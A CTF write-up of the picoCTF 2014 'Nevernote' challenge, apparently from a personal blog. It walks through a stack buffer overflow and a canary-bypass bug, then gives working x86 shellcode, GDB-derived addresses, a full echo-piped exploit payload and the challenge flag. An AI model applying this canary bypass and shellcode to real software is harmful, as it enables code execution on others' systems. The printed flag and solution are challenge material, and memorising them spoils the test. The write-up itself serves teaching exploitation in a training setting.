picoCTF 2014: Nevernote (binary180)
Nevernote was a 180 point binary exploitation problem. Like most of the binary exploitation challenges, the goal is to find some vulnerability and exploit it to get the flag. This one, however, apparently uses a special library to detect buffer overflows. We'll have to contend with that if we want to get code execution. So let's jump in!
Let's start by taking a look at the command processing function called by main():
void command_loop(){
char name[64];
char command[16];
char *note_file_path;
printf("Please enter your name: ");
fflush(stdout);
fgets(name, 64, stdin);
name[strcspn(name, "\n")] = '\0';
if (strchr(name, '.') || strchr(name, '/')){
printf("Bad character in name!\n");
return;
}
note_file_path = (char *)malloc(strlen(name)+64);
sprintf(note_file_path, "/home/nevernote/notes/%s", name);
while (true){
printf("Enter a command: ");
fflush(stdout);
if (fgets(command, 16, stdin) == NULL) goto exit;
switch (command[0]){
case 'a':
case 'A':
add_note(note_file_path);
break;
case 'v':
case 'V':
view_notes(note_file_path);
break;
case 'q':
case 'Q':
goto exit;
default:
puts("Commands: [a]dd_note, [v]iew_notes, [q]uit");
fflush(stdout);
break;
}
}
exit:
free(note_file_path);
return;
}
The command loop is fairly self-explanatory, but just a few observations:
- Nevernote asks for a name in order to create a special directory for your notes. It also checks for characters like . and / which could alter the path, so we can't just point it at the parent directory and make the program read the flag for us.
- Enough space is allocated to sprintf() the name into note_file_path, so there's no buffer vulnerability in there. Not like they'd make it this easy anyway.
Now let's take a look at the function for adding a note, add_note(), along with the function that actually reads it in, get_note():
#define NOTE_SIZE 1024
bool get_note(char *dest){
struct safe_buffer temporary;
bool valid;
get_canary(&temporary.can);
printf("Write your note: ");
fflush(stdout);
fgets(temporary.buf, NOTE_SIZE, stdin);
// disallow some characters
if (strchr(temporary.buf, '\t') || strchr(temporary.buf, '\r')){
valid = false;
}else{
valid = true;
strncpy(dest, temporary.buf, NOTE_SIZE);
}
verify_canary(&temporary.can);
return valid;
}
void add_note(char *path){
char *new_note = (char *)malloc(NOTE_SIZE);
if (get_note(new_note) == true){ //note passed the check
FILE *f;
if ((f = fopen(path, "a")) == NULL){
puts("Cannot write note.");
fflush(stdout);
free(new_note);
exit(1);
}
fputs(new_note, f);
fclose(f);
puts("Note added.");
fflush(stdout);
}else{
puts("Your note contained invalid characters. Please try again.");
fflush(stdout);
}
free(new_note);
}
add_note() allocates a buffer and invokes get_note() to read data into the buffer. get_note() allocates a "safe buffer" on the stack, reads 1024 bytes from stdin into it, checks for path characters, and then does a check on the safe buffer's canary. The safe buffer is likely the buffer overflow detection library mentioned, so let's see how it's implemented.
#define SAFE_BUFFER_SIZE 512
struct canary{
int canary;
int *verify;
};
/* buffer overflow resistant buffer */
struct safe_buffer{
char buf[SAFE_BUFFER_SIZE];
struct canary can;
};
static void __canary_failure(int signo){
printf("Buffer overflow detected! Exiting.\n");
exit(0);
}
void get_canary(struct canary *c){
// store the canary on the heap for verification!
int *location = (int *)malloc(sizeof(int));
// use good randomness!
FILE *f = fopen("/dev/urandom", "r");
fread(location, sizeof(int), 1, f);
fclose(f);
c->verify = location;
c->canary = *location;
return;
}
void verify_canary(struct canary *c){
if (c->canary != *(c->verify)){
printf("Canary was incorrect!\n");
__canary_failure(1);
}
// we're all good; free the canary and return
free(c->verify);
return;
}
void register_segfault_handler(){
signal(SIGSEGV, __canary_failure);
}
Right away, there's an apparent buffer overflow vulnerability. get_note() tries to read 1024 bytes into the safe buffer, which is only 512 bytes long. Since the safe buffer is stored on the stack, we can overwrite the return address and jump wherever we want. And because there's no NX or ASLR on this binary, we can just put shellcode inside the buffer and point back at it. But that's assuming that we won't be stopped by the canary.
The canary contains a random value, which is verified against a copy of that same value on the heap. verify_canary(), called by get_note() after reading into the buffer, makes sure that the canary wasn't modified, and exits the program if it isn't. On the surface, it seems secure, but there's actually a pretty serious bug in this canary implementation. Both the canary we're checking and the pointer to the correct value are stored right after the buffer, so the buffer overflow extends to both of them. We can just point the correct value to a buffer whose value we know.
(One aside: we do have to be careful with this. The buffer with the correct value is freed by verify_canary() right after. This means we can't just point it to anywhere. It has to actually be a buffer on the heap. Otherwise, the free() function will fail or crash.)
So what's a heap buffer whose value we know? Well, there is note_file_path, way back in the command_loop() function. It always begins with "/home/nevernote/notes/", so we know the first 4 bytes, which is enough. We just need to find its address. There's no ASLR, so it's reasonable to assume that it'll be at the same place every time. We can find out the exact address by setting a GDB breakpoint in command_loop() right after malloc() returns and looking at EAX.
Using objdump to print out a disassembly of nevernote shows the following code inside command_loop():
8048b2e: e8 9d fa ff ff call 80485d0 <malloc@plt>
8048b33: 89 45 f4 mov %eax,-0xc(%ebp)
So the breakpoint should be placed at 0x08048b33. Let's do this:
(gdb) b *0x08048b33 Breakpoint 1 at 0x8048b33 (gdb) run Starting program: /home/nevernote/nevernote Please enter your name: george Breakpoint 1, 0x08048b33 in command_loop () (gdb) info registers eax
0x804c008
134529032 ecx 0xf7fc8420 -134446048 edx 0x804c008 134529032 ebx 0xf7fc8000 -134447104 esp 0xffffd6a0 0xffffd6a0 ebp 0xffffd718 0xffffd718 esi 0x0 0 edi 0x0 0 eip 0x8048b33 0x8048b33 <command_loop+168> eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb)
So the address of note_file_path will be 0x0804c008, and its first four bytes are "/hom". This is all the information we need to overwrite the canary without Nevernote noticing. Let's try this out to see if it actually works:
pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "aaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/hom\x08\xc0\x04\x08"; } | .
/nevernote
Please enter your name: Enter a command: Write your note: Cannot write note.
pico59150@shell:/home/nevernote$
We use a series of echos because we need to send multiple stdin inputs to Nevernote. After entering a name and telling it to add a note, we enter a note that overflows the buffer. There are 512 "a" characters, followed by /hom and then the address of the known buffer (0x0804c008). As we can see, it passes the canary check and actually tries to write the note (though this fails). Now that the canary check works, we just need the address of the buffer, and then we can start writing shellcode!
80488ac: 8d 85 ec fd ff ff lea -0x214(%ebp),%eax
80488b2: 89 04 24 mov %eax,(%esp)
80488b5: e8 d6 fc ff ff call 8048590 <fgets@plt>
This is right before the fgets() call in get_note(), so EAX (the first argument) will be the address of the buffer. We can use GDB again to get the address:
(gdb) b *0x080488b5 Breakpoint 1 at 0x80488b5 (gdb) run Starting program: /home/nevernote/nevernote Please enter your name: george Enter a command: a Write your note: Breakpoint 1, 0x080488b5 in get_note () (gdb) info registers eax
0xffffd454
-11180 ecx 0xf7fc9898 -134440808 edx 0x0 0 ebx 0xf7fc8000 -134447104 esp 0xffffd440 0xffffd440 ebp 0xffffd668 0xffffd668 esi 0x0 0 edi 0x0 0 eip 0x80488b5 0x80488b5 <get_note+79> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb)
GDB tells us that our buffer is located at 0xffffd454. Finally, we can start writing some shellcode to get the flag. There are multiple ways to do this, but I personally have boilerplate shellcode that makes several Linux kernel syscalls to open, read, and print out the flag. On Linux, syscalls are traditionally done with int 0x80.
[BITS 32]
start:
mov ebp, 0xffffd454
xor eax, eax
mov al, 5
lea ebx, [ebp + 0x2d]
xor edx, edx
mov [ebp + 0x35], dl
xor ecx, ecx
int 0x80
mov ebx, eax
xor eax, eax
mov al, 3
lea ecx, [ebp + 0x38]
xor edx, edx
mov dl, 36
int 0x80
xor eax, eax
mov al, 4
xor ebx, ebx
inc ebx
int 0x80
filename db "flag.txta"
data:
If we assemble this into a binary (you'll need NASM, since I use that syntax), disassemble it, and put all the bytes together with escape codes, we can now insert this shellcode into our buffer. We also need to pad it to 512 bytes, which we'll just do with 0xebfe. Then we have the canary bypass and the address of our buffer, which will alter the return address.
pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "\xbd\x54\xd4\xf
f\xff\x31\xc0\xb0\x05\x8d\x5d\x2d\x31\xd2\x88\x55\x35\x31\xc9\xcd\x80\x89\xc3\x31\xc0\xb0\x03\x8d\x4d\x38
\x31\xd2\xb2\x30\xcd\x80\x31\xc0\xb0\x04\x31\xdb\x43\xcd\x80\x66\x6c\x61\x67\x2e\x74\x78\x74\x61\xeb\xfe\
xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x
eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe
b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb
\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\
xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x
fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf
e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe
\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\
xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x
eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xe
b\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb
\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\
xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\x
fe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xf
e\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe
\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\
xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\x
eb\xfe\xeb\xfe\xeb\xfe\xeb\xfe\xeb\xfe/hom\x08\xc0\x04\x08\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xf
f\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff\x54\xd4\xff\xff"; } | ./nevernote
Please enter your name: Enter a command: Write your note: the_hairy_canary_fairy_is_still_very_wary
ëþëþëþBuffer overflow detected! Exiting.
pico59150@shell:/home/nevernote$
The program does crash, but we get the flag printed out before that. The flag, the_hairy_canary_fairy_is_still_very_wary, concludes the challenge, netting us 180 points!
0 Comments:
Post a Comment
Subscribe to Post Comments [Atom]
<< Home